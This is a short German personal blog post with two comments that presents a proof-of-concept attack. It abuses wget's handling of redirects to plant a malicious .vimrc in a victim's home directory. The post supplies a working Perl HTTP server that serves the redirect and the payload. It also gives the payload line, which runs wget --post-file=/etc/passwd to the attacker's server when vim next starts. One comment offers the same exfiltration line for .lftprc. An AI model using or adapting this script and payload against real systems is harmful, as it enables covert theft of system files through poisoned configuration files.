btwotch    

, Deutschland · männlich · registriert seit 2008 · heute zuletzt online


mailto, against spam!

URL Redirection

Computer · · 2 Kommentare

Wget kann Dateien erstellen. Idee: Wir lassen wget eine .vimrc erstellen, die bei dem naechsten vim-Start die Datei /etc/passwd uploadet: (eigentlich alles total trivial)

    1 use HTTP::Daemon;
    2 use HTTP::Status;
    3 my $d = new HTTP::Daemon(LocalPort => 8080, ReuseAddr => 1);
    4 print "Please contact me at: <URL:", $d->url, ">\n";
    5 print "Run: wget ", $d->url,"foobar\n";
    6 while (my $c = $d->accept) {
    7         while (my $r = $c->get_request) {
    8                 if ($r->method eq 'GET' and $r->url->path eq "/foobar") {
    9                         $c->send_redirect(".vimrc");
   10                 }
   11                 if ($r->method eq 'GET' and $r->url->path eq "/.vimrc") {
   12                         $c->send_file_response("evil");
   13                 }
   14                 if ($r->method eq 'POST' and $r->url->path eq "/passwd") {
   15                         print "POST-REQ\n";
   16                         print $r->content;
   17                         $c->send_error();
   18                 }
   19         }
   20         $c->close;
   21         undef($c);
   22 }

Dazu wird noch eine Datei 'evil' benoetigt:

! wget –post-file=/etc/passwd http://localhost:8080/passwd > /dev/null 2>/dev/null

Nun einfach in $HOME ausfuehren:

  • wget http://erebos:8080/foobar
  • vim
Letzte Änderung: 22. Januar 2012 06:12

Tags:  ·  ·  ·  ·  ·

2 Kommentare

btwotch am 04. Sep 2010 21:33

alternativ laesst sich bspsw. auch

wget –post-file=/etc/passwd http://localhost:8080/passwd > /dev/null 2>/dev/null

in die .lftprc schreiben


scio am 05. Sep 2010 10:01

nur so for tha lulz: wtf bringt das?

Blog durchsuchen
(nur öffentliche Einträge)

Willst du auch bloggen?
Kostenlos bloggen bei Spin.de
Diese Seite ist eine auf spin.de gelagerte persönliche Homepage, deren Verantwortlichkeit beim Nutzer liegt.
spin.de ist eine große Online-Community mit Chat, Blogs, Foren, Online-Spielen und vielem mehr.
Deine eigene Homepage mit Blog und Gästebuch

Impressum · Datenschutz · Sitemap